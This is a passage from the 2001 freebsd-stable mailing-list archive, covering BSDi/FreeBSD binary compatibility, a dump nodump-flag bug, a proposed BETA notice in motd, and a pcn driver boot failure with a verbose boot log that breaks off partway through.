Delivered-To: freebsd-stable@freebsd.org Received: from post.mail.nl.demon.net (post-10.mail.nl.demon.net [194.159.73.20]) by hub.freebsd.org (Postfix) with ESMTP id 8475737B719 for ; Fri, 16 Mar 2001 13:49:23 -0800 (PST) (envelope-from wkb@freebie.demon.nl) Received: from [212.238.54.101] (helo=freebie.demon.nl) by post.mail.nl.demon.net with smtp (Exim 3.14 #2) id 14e266-0001UC-00; Fri, 16 Mar 2001 21:49:22 +0000 Received: (from wkb@localhost) by freebie.demon.nl (8.11.2/8.11.2) id f2GLpbG11301; Fri, 16 Mar 2001 22:51:37 +0100 (CET) (envelope-from wkb) Date: Fri, 16 Mar 2001 22:51:37 +0100 From: Wilko Bulte To: Alfred Perlstein Cc: Juha Saarinen , "freebsd-stable@FreeBSD. ORG" Subject: Re: FreeBSD 4.x and BSDi 4.x binary compatible? Message-ID: <20010316225137.A11281@freebie.demon.nl> References: <20010316134215.J29888@fw.wintelcom.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <20010316134215.J29888@fw.wintelcom.net>; from bright@wintelcom.net on Fri, Mar 16, 2001 at 01:42:15PM -0800 X-OS: FreeBSD 4.2-STABLE X-PGP: finger wilko@freebsd.org Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, Mar 16, 2001 at 01:42:15PM -0800, Alfred Perlstein wrote: > * Juha Saarinen [010316 13:10] wrote: > > As the subject says... are there any known binary incompatibilities twixt > > the two? Have an application that's currently running on BSDi 4.1 that I'd > > like to compile and try out on FreeBSD 4.2-STABLE. > > > > Hints and tips here would be appreciated. > > Actually, on the same note, I'm planning on flying a 747 jet later > this evening, anyone know what I should watch out for? Any tips > for a smooth ride? Oh, that one is easy: just make sure it has radio callsign 'Air Force One' ;-) [sorry, could not resist] -- | / o / / _ Arnhem, The Netherlands email: wilko@freebsd.org |/|/ / / /( (_) Bulte http://www.freebsd.org http://www.nlfug.nl To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 13:53:36 2001 Delivered-To: freebsd-stable@freebsd.org Received: from mass.dis.org (mass.dis.org [216.240.45.41]) by hub.freebsd.org (Postfix) with ESMTP id 6343437B71A for ; Fri, 16 Mar 2001 13:53:34 -0800 (PST) (envelope-from msmith@mass.dis.org) Received: from mass.dis.org (localhost [127.0.0.1]) by mass.dis.org (8.11.2/8.11.2) with ESMTP id f2GLt7w02001; Fri, 16 Mar 2001 13:55:08 -0800 (PST) (envelope-from msmith@mass.dis.org) Message-Id: <200103162155.f2GLt7w02001@mass.dis.org> X-Mailer: exmh version 2.1.1 10/15/1999 To: "Juha Saarinen" Cc: "Alfred Perlstein" , "freebsd-stable@FreeBSD. ORG" Subject: Re: FreeBSD 4.x and BSDi 4.x binary compatible? In-reply-to: Your message of "Sat, 17 Mar 2001 10:50:40 +1300." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 16 Mar 2001 13:55:07 -0800 From: Mike Smith Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > :: Actually, on the same note, I'm planning on flying a 747 jet later > :: this evening, anyone know what I should watch out for? Any tips > :: for a smooth ride? > > Yeah, don't pack the AK-47 and Semtex in the hand luggage. ;-) > > Thanks Alfie, I'll make sure to ask you next time I need some more useful > info. Actually, his point was a bit more subtle than that. You asked about binary incompatibility, but then talked about recompiling on FreeBSD. Your question was, in effect, a non sequiter; a point Alfred just tried to make clear. 8) -- ... every activity meets with opposition, everyone who acts has his rivals and unfortunately opponents also. But not because people want to be opponents, rather because the tasks and relationships force people to take different points of view. [Dr. Fritz Todt] V I C T O R Y N O T V E N G E A N C E To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 13:54:21 2001 Delivered-To: freebsd-stable@freebsd.org Received: from vimfuego.saarinen.org (saarinen.org [203.79.82.14]) by hub.freebsd.org (Postfix) with ESMTP id 6087E37B71A; Fri, 16 Mar 2001 13:54:14 -0800 (PST) (envelope-from juha@saarinen.org) Received: from dendennis.saarinen.org ([192.168.1.2] helo=DENDENNIS) by vimfuego.saarinen.org with smtp (Exim 3.22 #1) id 14e2An-000229-03; Sat, 17 Mar 2001 10:54:13 +1300 From: "Juha Saarinen" To: "Mike Smith" Cc: "Alfred Perlstein" , "freebsd-stable@FreeBSD. ORG" Subject: RE: FreeBSD 4.x and BSDi 4.x binary compatible? Date: Sat, 17 Mar 2001 10:57:20 +1300 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) In-Reply-To: <200103162155.f2GLt7w02001@mass.dis.org> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :: Actually, his point was a bit more subtle than that. :: :: You asked about binary incompatibility, but then talked about :: recompiling :: on FreeBSD. Your question was, in effect, a non sequiter; a :: point Alfred :: just tried to make clear. 8) Yes, I realised I formulated myself poorly... lotsa caffeine this morning ;-). Anyway, trial and error and all that coming up. Cheers, -- Juha To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 13:54:29 2001 Delivered-To: freebsd-stable@freebsd.org Received: from vimfuego.saarinen.org (saarinen.org [203.79.82.14]) by hub.freebsd.org (Postfix) with ESMTP id 889C937B71E for ; Fri, 16 Mar 2001 13:54:16 -0800 (PST) (envelope-from juha@saarinen.org) Received: from dendennis.saarinen.org ([192.168.1.2] helo=DENDENNIS) by vimfuego.saarinen.org with smtp (Exim 3.22 #1) id 14e2An-000229-02; Sat, 17 Mar 2001 10:54:13 +1300 From: "Juha Saarinen" To: "Alfred Perlstein" Cc: "freebsd-stable@FreeBSD. ORG" Subject: RE: FreeBSD 4.x and BSDi 4.x binary compatible? Date: Sat, 17 Mar 2001 10:57:20 +1300 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) In-Reply-To: <20010316134920.L29888@fw.wintelcom.net> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :: no problem. :) :: :: Seriously, first you try to compile it, then you ask why it didn't :: work and give us some diagnostics. Yes, I'll do that. I was just fishing for some info to support a platform migration to FreeBSD... PHBs need documentation before I get to do the work. :-| Cheers, -- Juha To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 14:18: 9 2001 Delivered-To: freebsd-stable@freebsd.org Received: from thehousleys.net (frenchknot.ne.mediaone.net [24.147.224.201]) by hub.freebsd.org (Postfix) with ESMTP id E96DD37B718 for ; Fri, 16 Mar 2001 14:18:05 -0800 (PST) (envelope-from jim@thehousleys.net) Received: (from root@localhost) by thehousleys.net (8.11.2/8.11.2) id f2GMI5D25013 for freebsd-stable@freebsd.org; Fri, 16 Mar 2001 17:18:05 -0500 (EST) (envelope-from jim@thehousleys.net) Received: from thehousleys.net (baby.int.thehousleys.net [192.168.0.24]) by thehousleys.net (8.11.2/8.11.2) with ESMTP id f2GMI1924778 for ; Fri, 16 Mar 2001 17:18:01 -0500 (EST) (envelope-from jim@thehousleys.net) Message-ID: <3AB29119.7F180656@thehousleys.net> Date: Fri, 16 Mar 2001 17:18:01 -0500 From: James Housley X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-stable@freebsd.org Subject: Re: PROBLEMS with 4.3-BETA and dump -- UPDATED References: <3AB12BDA.A3BA79C8@thehousleys.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Virus-Scanned: by AMaViS perl-10 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG James Housley wrote: > This problem seems to be cuased by the new code in src/sbin/dump/traverse.c r1.10.2.2 to inherite the nodump flag. I am working to solve this problem. Jim -- /"\ ASCII Ribbon Campaign . \ / - NO HTML/RTF in e-mail . X - NO Word docs in e-mail . / \ ----------------------------------------------------------------- jeh@FreeBSD.org http://www.FreeBSD.org The Power to Serve jim@TheHousleys.Net http://www.TheHousleys.net --------------------------------------------------------------------- Progress (n) : What led from smart users in front of dumb terminals to dumb users in front of smart terminals. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 14:36: 5 2001 Delivered-To: freebsd-stable@freebsd.org Received: from level3.dynacom.net (level3.dynacom.net [206.107.213.213]) by hub.freebsd.org (Postfix) with SMTP id 3B87237B719 for ; Fri, 16 Mar 2001 14:36:01 -0800 (PST) (envelope-from kstewart@urx.com) Received: (qmail 8028 invoked by uid 0); 16 Mar 2001 22:35:54 -0000 Received: from unknown (HELO urx.com) (206.159.132.160) by mail.urx.com with SMTP; 16 Mar 2001 22:35:54 -0000 Message-ID: <3AB2954A.C258C743@urx.com> Date: Fri, 16 Mar 2001 14:35:54 -0800 From: Kent Stewart Reply-To: kstewart@urx.com Organization: Dynacom X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: mij@osdn.com Cc: Steve O'Hara-Smith , freebsd-stable@FreeBSD.ORG Subject: Re: BETA induced nervousness References: <20010316214210.5a3dc591.steveo@eircom.net> <20010316160949.A3791@guinness.osdn.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Jim Mock wrote: > > On Fri, 16 Mar 2001 at 21:42:10 +0100, Steve O'Hara-Smith wrote: > > Hi, > > > > Picking a recent example: > > > > Saverio Perugini writes: > > > What is a BETA system? Is it similiar to CURRENT? > > > > We get a lot of this sort of thing every time a release rolls, > > an idea crossed my mind, perhaps if during BETA and RC phases > > /etc/motd were to carry a big message like > > > > ---------------------- > > DO NOT PANIC - BETA is a normal phase that STABLE goes through prior > > to the rolling of a release. If anything it is *MORE* stable than > > usual during BETA as all changes are monitered by the release > > engineer. > > ---------------------- > > > > Changing BETA to RC as appropriate. It *might* reduce the > > effect, worth a try ? > > This would be wonderful. It should cut down dramatically on the 3.7 > million "MY FBSD IZ BORKEN CUZ IT SAYZ -BETA N I WANT -STABLE FIX IT NOW > K PLZ THX" (I think I hung out with Alfred too much :-) emails to this > list and -questions. > > Perhaps even pointing something towards the FAQ entry on this would > help. > > The only problem is see doing this is that: > > 1) Not everyone will run mergemaster afterwards. It doesn't matter > whether they should or not, many just won't. > > 2) Not everyone who does run mergemaster will update their /etc/motd > (like me). > > So, the question is.. how can we get something like this to the most > people without printing that section of the FAQ and stapling it to their > foreheads? LOL, this struck me funny because it would have to be reverse printed. Sort of like Ambulance spelled backwards on the front of one. Since Mergemaster is the suggested way of updating /etc, why not add a "don't forget to run mergemaster message" at the end of installworld. Then add the Beta message at the very front of motd. The ones that use a script will never see it but then they probably don't need to. It might even be added using a #if define of some sort. I don't have any idea if that kind of logic is possible. Just an idea that popped into my mind. In several places, it is suggested that they follow stable for several weeks before they try upgrading to stable and that is being ignored. There is a sufficient number that will still drop a "whot hoppnd" message onto the stable list. I think people focus on spots of interest and ignore the rest. Their method of dealing with the number of messages. Kent > > - jim > > -- > - jim mock - O|S|D|N - open source development network - > - http://www.freebsdzine.org/ - jim@freebsdzine.org - jim@FreeBSD.org - > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message -- Kent Stewart Richland, WA mailto:kbstew99@hotmail.com http://kstewart.urx.com/kstewart/index.html FreeBSD News http://daily.daemonnews.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 14:47: 5 2001 Delivered-To: freebsd-stable@freebsd.org Received: from unix.megared.net.mx (megamail.megared.com.mx [200.52.207.52]) by hub.freebsd.org (Postfix) with ESMTP id D430137B71A for ; Fri, 16 Mar 2001 14:46:49 -0800 (PST) (envelope-from ales@megared.net.mx) Received: from Alesito (ales.corp.megared.net.mx [200.52.193.2]) by unix.megared.net.mx (8.11.0/8.11.0) with SMTP id f2GMjNg83604; Fri, 16 Mar 2001 16:45:54 -0600 (CST) (envelope-from ales@megared.net.mx) Message-ID: <019501c0ae6a$f75e6960$d3620a0a@megared.net.mx> From: "Alejandro A. Ramirez" To: Cc: Subject: pcn driver failing at boot !!! Date: Fri, 16 Mar 2001 16:46:09 -0600 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi Bill, I have noticed a problem with the pcn driver, I have an IBM Netfinity 5000 Server, with an AMD PCnet Fast + (AM79C972BKC) Integrated Card, and I have noticed that this card doesnt get initialized properly, it seems that the driver doesnt detect the conexion to the switch, because I cant use the network unless I unplugged the ethernet cord, and plug it back again, then I can use the network, this server was working perfectly with FBSD4.1, with the lnc driver, but in half-duplex mode :o( I think that there is something not proobing correctly at boot time, that makes this error to happen every time that the system boots, this is very bad, because every time that I have to reboot the server, I have to be close to unplug & plug the cable again. Here its a verbose boot with the GENERIC kernel, I hope this can help you out to find the problem, If you think that you need more info on this, testing, or if you need access to the system, just let me know. Thanks for your Help !!! Ales cache# uname -a FreeBSD a.b.c.d 4.2-RELEASE FreeBSD 4.2-RELEASE #1: Mon Feb 12 13:06:12 CST 2001 root@a.b.c.d:/usr/src/sys/compile/kernel i386 boot -v Copyright (c) 1992-2000 The FreeBSD Project. Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 The Regents of the University of California. All rights reserved. FreeBSD 4.2-RELEASE #0: Mon Nov 20 13:02:55 GMT 2000 jkh@bento.FreeBSD.org:/usr/src/sys/compile/GENERIC Calibrating clock(s) ... TSC clock: 598279226 Hz, i8254 clock: 1192939 Hz CLK_USE_I8254_CALIBRATION not specified - using default frequency Timecounter "i8254" frequency 1193182 Hz CLK_USE_TSC_CALIBRATION not specified - using old calibration method CPU: Pentium III/Pentium III Xeon/Celeron (598.40-MHz 686-class CPU) Origin = "GenuineIntel" Id = 0x673 Stepping = 3 Features=0x383fbff real memory = 1073725440 (1048560K bytes) Physical memory chunk(s): 0x00001000 - 0x0009cfff, 638976 bytes (156 pages) 0x0044f000 - 0x3fff3fff, 1069174784 bytes (261029 pages) avail memory = 1041539072 (1017128K bytes) bios32: Found BIOS32 Service Directory header at 0xc00fd5d0 bios32: Entry = 0xfd5e1 (c00fd5e1) Rev = 0 Len = 1 pcibios: PCI BIOS entry at 0xd61c pnpbios: Found PnP BIOS data at 0xc00fde90 pnpbios: Entry = f0000:499d Rev = 1.0 Other BIOS signatures found: ACPI: 000fdec0 Preloaded elf kernel "kernel.GENERIC" at 0xc0436000. Pentium Pro MTRR support enabled md0: Malloc disk Creating DISK md0 Math emulator present pci_open(1): mode 1 addr port (0x0cf8) is 0x00000070 pci_open(1a): mode1res=0x80000000 (0x80000000) pci_cfgcheck: device 0 [class=060000] [hdr=80] is there (id=00071166) npx0: on motherboard npx0: INT 16 interface pci_open(1): mode 1 addr port (0x0cf8) is 0x00000000 pci_open(1a): mode1res=0x80000000 (0x80000000) pci_cfgcheck: device 0 [class=060000] [hdr=80] is there (id=00071166) pcib0: on motherboard found-> vendor=0x1166, dev=0x0007, revid=0x04 class=06-00-00, hdrtype=0x00, mfdev=1 subordinatebus=0 secondarybus=0 map[10]: type 1, range 32, base 00000000, size 0 found-> vendor=0x1166, dev=0x0005, revid=0x02 class=06-00-00, hdrtype=0x00, mfdev=1 subordinatebus=0 secondarybus=0 found-> vendor=0x9004, dev=0x7895, revid=0x04 class=01-00-00, hdrtype=0x00, mfdev=1 subordinatebus=0 secondarybus=0 intpin=a, irq=9 map[10]: type 1, range 32, base 00002000, size 8 map[14]: type 1, range 32, base febff000, size 12 found-> vendor=0x9004, dev=0x7895, revid=0x04 class=01-00-00, hdrtype=0x00, mfdev=1 subordinatebus=0 secondarybus=0 intpin=b, irq=10 map[10]: type 1, range 32, base 00002200, size 8 map[14]: type 1, range 32, base febfe000, size 12 found-> vendor=0x1022, dev=0x2000, revid=0x36 class=02-00-00, hdrtype=0x00, mfdev=0 subordinatebus=0 secondarybus=0 intpin=a, irq=11 map[10]: type 1, range 32, base 00002180, size 5 map[14]: type 1, range 32, base febfdc00, size 5 found-> vendor=0x5333, dev=0x8901, revid=0x16 class=03-00-00, hdrtype=0x00, mfdev=0 subordinatebus=0 secondarybus=0 intpin=a, irq=5 map[10]: type 1, range 32, base f8000000, size 26 found-> vendor=0x1166, dev=0x0200, revid=0x4d class=06-01-00, hdrtype=0x00, mfdev=1 subordinatebus=0 secondarybus=0 found-> vendor=0x1166, dev=0x0210, revid=0x4a class=01-01-ea, hdrtype=0x00, mfdev=1 subordinatebus=0 secondarybus=0 intpin=a, irq=14 map[10]: type 1, range 32, base 000001f0, size 3 map[14]: type 1, range 32, base 000003f4, size 2 map[18]: type 1, range 32, base 00000000, size 3 map[1c]: type 1, range 32, base 00000000, size 2 map[20]: type 1, range 32, base 0000ffa0, size 4 found-> vendor=0x1166, dev=0x0220, revid=0x04 class=0c-03-10, hdrtype=0x00, mfdev=0 subordinatebus=0 secondarybus=0 intpin=a, irq=7 map[10]: type 1, range 32, base ff700000, size 12 pci0: on pcib0 ahc0: port 0x2000-0x20ff mem 0xfebff000-0xfebfffff irq 9 at device 6 .0 on pci0 ahc0: Reading SEEPROM...done. ahc0: Low byte termination Enabled ahc0: High byte termination Enabled ahc0: Downloading Sequencer Program... 394 instructions downloaded aic7895C: Wide Channel A, SCSI Id=7, 32/255 SCBs ahc1: port 0x2200-0x22ff mem 0xfebfe000-0xfebfefff irq 10 at device 6.1 on pci0 ahc1: Reading SEEPROM...done. ahc1: Low byte termination Enabled ahc1: High byte termination Enabled ahc1: Downloading Sequencer Program... 394 instructions downloaded aic7895C: Wide Channel B, SCSI Id=7, 32/255 SCBs pcn0: port 0x2180-0x219f mem 0xfebfdc00-0xfebfdc1f irq 11 at device 9.0 on p ci0 pcn0: Ethernet address: 00:06:29:50:c1:59 miibus0: on pcn0 ukphy0: on miibus0 ukphy0: OUI 0x080017, model 0x0001, rev. 0 ukphy0: no media present bpf: pcn0 attached pci0: (vendor=0x5333, dev=0x8901) at 10.0 irq 5 isab0: at device 15.0 on pci0 isa0: on isab0 atapci0: port 0xffa0-0xffaf,0-0x3,0-0x7,0x3f4-0x3f7,0x1f0-0x1f7 irq 14 at de vice 15.1 on pci0 ata0: iobase=0x01f0 altiobase=0x03f6 bmaddr=0xffa0 ata0: mask=03 status0=50 status1=00 ata0: mask=03 ostat0=50 ostat2=00 ata0-master: ATAPI probe a=14 b=eb ata0-slave: ATAPI probe a=00 b=00 ata0: mask=03 status0=00 status1=00 ata0: devices=04 ata0: at 0x1f0 irq 14 on atapci0 ata1: iobase=0x0170 altiobase=0x0376 bmaddr=0xffa8 ata1: mask=00 status0=ff status1=ff ata1: probe allocation failed ohci0: mem 0xff700000-0xff700fff irq 7 at device 15.2 on pci0 ohci0: (New OHCI DeviceId=0x02201166) usb0: OHCI version 1.0, legacy support usb0: on ohci0 usb0: USB revision 1.0 uhub0: (unknown) OHCI root hub, class 9/0, rev 1.00/1.00, addr 1 uhub0: 2 ports with 2 removable, self powered pci_open(1): mode 1 addr port (0x0cf8) is 0x00000000 pci_open(1a): mode1res=0x80000000 (0x80000000) pci_cfgcheck: device 0 [class=060000] [hdr=80] is there (id=00071166) pcib1: on motherboard found-> vendor=0x1014, dev=0x0022, revid=0x07 class=06-04-00, hdrtype=0x01, mfdev=0 subordinatebus=2 secondarybus=2 pci1: on pcib1 pcib2: at device 5.0 on pci1 found-> vendor=0x0e11, dev=0xae10, revid=0x04 class=01-80-00, hdrtype=0x00, mfdev=0 subordinatebus=0 secondarybus=0 intpin=a, irq=15 map[10]: type 1, range 32, base 00005100, size 8 map[14]: type 1, range 32, base c0800000, size 8 pci2: on pcib2 ida0: port 0x5100-0x51ff mem 0xc0800000-0xc08000ff irq 15 at device 0.0 on pci2 ida0: drives=1 firm_rev=4.16 idad0: on ida0 idad0: 69427MB (142188000 sectors), blocksize=512 Creating DISK idad0 ata-: ata0 exists, using next available unit number ata-: ata1 exists, using next available unit number Trying Read_Port at 203 Trying Read_Port at 243 Trying Read_Port at 283 Trying Read_Port at 2c3 Trying Read_Port at 303 Trying Read_Port at 343 Trying Read_Port at 383 Trying Read_Port at 3c3 isa_probe_children: disabling PnP devices isa_probe_children: probing non-PnP devices fdc0: at port 0x3f0-0x3f5,0x3f7 irq 6 drq 2 on isa0 fdc0: FIFO enabled, 8 bytes threshold fd0: <1440-KB 3.5" drive> on fdc0 drive 0 ata2 failed to probe at port 0x1f0 irq 14 on isa0 ata3: iobase=0x0170 altiobase=0x0376 bmaddr=0x0000 ata3: mask=00 status0=ff status1=ff ata3: probe allocation failed ata3 failed to probe at port 0x170-0x177,0x376 irq 15 on isa0 adv0 failed to probe at port 0x330 on isa0 bt0: Failed Status Reg Test - ff bt_isa_probe: Probe failed at 0x330 bt0: Failed Status Reg Test - ff bt_isa_probe: Probe failed at 0x334 bt0: Failed Status Reg Test - ff bt_isa_probe: Probe failed at 0x230 bt0: Failed Status Reg Test - ff bt_isa_probe: Probe failed at 0x234 bt0: Failed Status Reg Test - ff bt_isa_probe: Probe failed at 0x130 bt0: Failed Status Reg Test - ff bt_isa_probe: Probe failed at 0x134 bt0 failed to probe at port 0x134-0x137 on isa0 aha0: status reg test failed ff aha0: status reg test failed ff aha0: status reg test failed ff aha0: status reg test failed ff aha0: status reg test failed ff aha0: status reg test failed ff aha0 failed to probe at port 0x134-0x137 on isa0 aic0 failed to probe at port 0x140-0x15f on isa0 atkbdc0: at port 0x60,0x64 on isa0 atkbd0: flags 0x1 irq 1 on atkbdc0 atkbd: the current kbd controller command byte 0065 atkbd: keyboard ID 0x41ab (2) kbdc: RESET_KBD return code:00fa kbdc: RESET_KBD status:00aa kbd0 at atkbd0 kbd0: atkbd0, AT 101/102 (2), config:0x1, flags:0x3d0000 psm0: current command byte:0065 kbdc: TEST_AUX_PORT status:0000 kbdc: RESET_AUX return code:00fe kbdc: RESET_AUX return code:00fe kbdc: RESET_AUX return code:00fe kbdc: DIAGNOSE status:0055 kbdc: TEST_KBD_PORT status:0000 psm0: failed to reset the aux device. vga0: at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0 fb0: vga0, vga, type:VGA (5), flags:0x7007f fb0: port:0x3c0-0x3df, crtc:0x3d4, mem:0xa0000 0x20000 fb0: init mode:24, bios mode:3, current mode:24 fb0: window:0xc00b8000 size:32k gran:32k, buf:0 size:32k VGA parameters upon power-up 50 18 10 00 00 00 03 00 02 67 5f 4f 50 82 55 81 bf 1f 00 4f 0d 0e 00 00 07 30 9c 8e 8f 28 1f 96 b9 a3 ff 00 01 02 03 04 05 14 07 38 39 3a 3b 3c 3d 3e 3f 0c 00 0f 08 00 00 00 00 00 10 0e 00 ff VGA parameters in BIOS for mode 24 50 18 10 00 10 00 03 00 02 67 5f 4f 50 82 55 81 bf 1f 00 4f 0d 0e 00 00 00 00 9c 8e 8f 28 1f 96 b9 a3 ff 00 01 02 03 04 05 14 07 38 39 3a 3b 3c 3d 3e 3f 0c 00 0f 08 00 00 00 00 00 10 0e 00 ff EGA/VGA parameters to be used for mode 24 50 18 10 00 10 00 03 00 02 67 5f 4f 50 82 55 81 bf 1f 00 4f 0d 0e 00 00 00 00 9c 8e 8f 28 1f 96 b9 a3 ff 00 01 02 03 04 05 14 07 38 39 3a 3b 3c 3d 3e 3f 0c 00 0f 08 00 00 00 00 00 10 0e 00 ff sc0: at flags 0x100 on isa0 sc0: VGA <16 virtual consoles, flags=0x300> sc0: fb0, kbd0, terminal emulator: sc (syscons terminal) pcic0 failed to probe at port 0x3e0 iomem 0xd0000 on isa0 pcic1: not probed (disabled) sio0: irq maps: 0x41 0x51 0x41 0x41 sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0 sio0: type 16550A sio1: configured irq 3 not in bitmap of probed irqs 0 sio1: irq maps: 0x41 0x41 0x41 0x41 sio1: probe failed test(s): 0 1 2 4 6 7 9 sio1 failed to probe at port 0x2f8-0x2ff irq 3 on isa0 sio2: not probed (disabled) sio3: not probed (disabled) ppc0: parallel port not found. ppc0: failed to probe at irq 7 on isa0 ed0 failed to probe at port 0x280-0x29f iomem 0xd8000 irq 10 on isa0 fe0 failed to probe at port 0x300-0x31f on isa0 ie0 failed to probe at port 0x300 iomem 0xd0000 irq 10 on isa0 lnc0 failed to probe at port 0x280 irq 10 drq 0 on isa0 cs0 failed to probe at port 0x300 on isa0 sn0 failed to probe at port 0x300 irq 10 on isa0 isa_probe_children: probing PnP devices BIOS Geometries: 0:03fffe20 0..1023=1024 cylinders, 0..254=255 heads, 1..32=32 sectors 0 accounted for Device configuration finished. bpf: faith0 attached bpf: gif0 attached bpf: gif1 attached bpf: gif2 attached bpf: gif3 attached bpf: lo0 attached bpf: ppp0 attached new masks: bio 68c0c0, tty 630012, net 670812 bpf: sl0 attached ata0-master: piomode=4 dmamode=2 udmamode=-1 dmaflag=1 ata0-master: success setting PIO4 on generic chip (null): MODE_SENSE_BIG command timeout - resetting ata0: resetting devices .. ata0: mask=01 ostat0=50 ostat2=00 ata0-master: ATAPI probe a=14 b=eb ata0-slave: ATAPI probe a=00 b=00 ata0: mask=01 status0=00 status1=00 ata0: devices=04 done (null): read data overrun 2/0 (null): read data overrun 2/0 (null): read data overrun 2/0 (null): read data overrun 2/0 (null): read data overrun 2/0 (null): read data overrun 2/0 (null): read data overrun 2/0 (null): read data overrun 2/0 (null): read data overrun 2/0 (null): read data overrun 2/0 (null): read data overrun 2/0 (null): read data overrun 2/0 (null): read data overrun 2/0 acd0: CDROM drive at ata0 as master acd0: read 500KB/s (10517KB/s), 1792KB buffer, PIO4 acd0: Reads: CD-RW acd0: Mechanism: caddy acd0: Medium: CD-ROM 120mm audio disc loaded Waiting 15 seconds for SCSI devices to settle (noperiph:ahc0:0:-1:-1): SCSI bus reset delivered. 0 SCBs aborted. (noperiph:ahc1:0:-1:-1): SCSI bus reset delivered. 0 SCBs aborted. (probe14:ahc0:0:15:0): INQUIRY. CDB: 12 1 80 0 ff 0 (probe14:ahc0:0:15:0): ILLEGAL REQUEST asc:24,0 (probe14:ahc0:0:15:0): Invalid field in CDB (ahc0:A:13:0): Sending WDTR 1 (ahc0:A:13:0): Received WDTR 1 filtered to 1 ahc0: target 13 using 16bit transfers (ahc0:A:13:0): Sending SDTR period 2b, offset 8 (ahc0:A:13:0): Received SDTR period 2b, offset 8 Filtered to period 2b, offset 8 ahc0: target 13 synchronous at 5.7MHz, offset = 0x8 (ahc0:A:12:0): Sending WDTR 1 (ahc0:A:12:0): Received WDTR 1 filtered to 1 ahc0: target 12 using 16bit transfers (ahc0:A:12:0): Sending SDTR period 2b, offset 8 (ahc0:A:12:0): Received SDTR period 2b, offset 8 Filtered to period 2b, offset 8 ahc0: target 12 synchronous at 5.7MHz, offset = 0x8 (ahc0:A:11:0): Sending WDTR 1 (ahc0:A:11:0): Received WDTR 1 filtered to 1 ahc0: target 11 using 16bit transfers (ahc0:A:11:0): Sending SDTR period 2b, offset 8 (ahc0:A:11:0): Received SDTR period 2b, offset 8 Filtered to period 2b, offset 8 ahc0: target 11 synchronous at 5.7MHz, offset = 0x8 (ahc0:A:10:0): Sending WDTR 1 (ahc0:A:10:0): Received WDTR 1 filtered to 1 ahc0: target 10 using 16bit transfers (ahc0:A:10:0): Sending SDTR period 2b, offset 8 (ahc0:A:10:0): Received SDTR period 2b, offset 8 Filtered to period 2b, offset 8 ahc0: target 10 synchronous at 5.7MHz, offset = 0x8 (ahc0:A:9:0): Sending WDTR 1 (ahc0:A:9:0): Received WDTR 1 filtered to 1 ahc0: target 9 using 16bit transfers (ahc0:A:9:0): Sending SDTR period 2b, offset 8 (ahc0:A:9:0): Received SDTR period 2b, offset 8 Filtered to period 2b, offset 8 ahc0: target 9 synchronous at 5.7MHz, offset = 0x8 (ahc0:A:8:0): Sending WDTR 1 (ahc0:A:8:0): Received WDTR 1 filtered to 1 ahc0: target 8 using 16bit transfers (ahc0:A:8:0): Sending SDTR period 2b, offset 8 (ahc0:A:8:0): Received SDTR period 2b, offset 8 Filtered to period 2b, offset 8 ahc0: target 8 synchronous at 5.7MHz, offset = 0x8 Creating DISK da0 Creating DISK da1 Creating DISK da2 Creating DISK da3 Creating DISK da4 Creating DISK da5 pass0 at ahc0 bus 0 target 8 lun 0 pass0: Fixed Direct Access SCSI-2 device pass0: Serial Number LR64141800007019L46P pass0: 11.626MB/s transfers (5.813MHz, offset 8, 16bit), Tagged Queueing Enabled pass1 at ahc0 bus 0 target 9 lun 0 pass1: Fixed Direct Access SCSI-2 device pass1: Serial Number LR737043000010161WC2 pass1: 11.626MB/s transfers 